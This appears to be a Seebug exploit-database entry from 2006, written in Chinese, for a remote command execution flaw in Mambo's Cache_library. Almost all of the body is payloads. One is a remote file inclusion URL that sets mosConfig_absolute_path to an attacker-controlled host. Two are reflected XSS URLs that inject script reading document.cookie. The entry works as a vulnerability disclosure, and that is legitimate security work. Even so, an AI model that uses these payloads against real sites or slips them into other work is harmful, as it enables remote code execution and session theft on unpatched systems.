MamboServerCache_library远程任意命令执行漏洞 Exploit

2006-12-0900:00:00

Root

www.seebug.org

JSON

No description provided by source.


                                                Joxean Koret （[email protected]）提供了如下测试方法：

命令执行：

http://[target]/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://[attacker]/ 

跨站脚本执行：

http://[target]/index.php?option=com_content&amp;task=view&amp;id=18&amp;Itemi d=39&quot;&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;a&amp;
%20I%20am%20an%20XSS%
20Problem&lt;/h1&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;&amp;

http://&lt;site-with-mambo&gt;/index.php?option=com_content&amp;task=view&amp;id=15&amp;Itemid=2&amp;limit=1&quot;&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;limitstart=1

JSON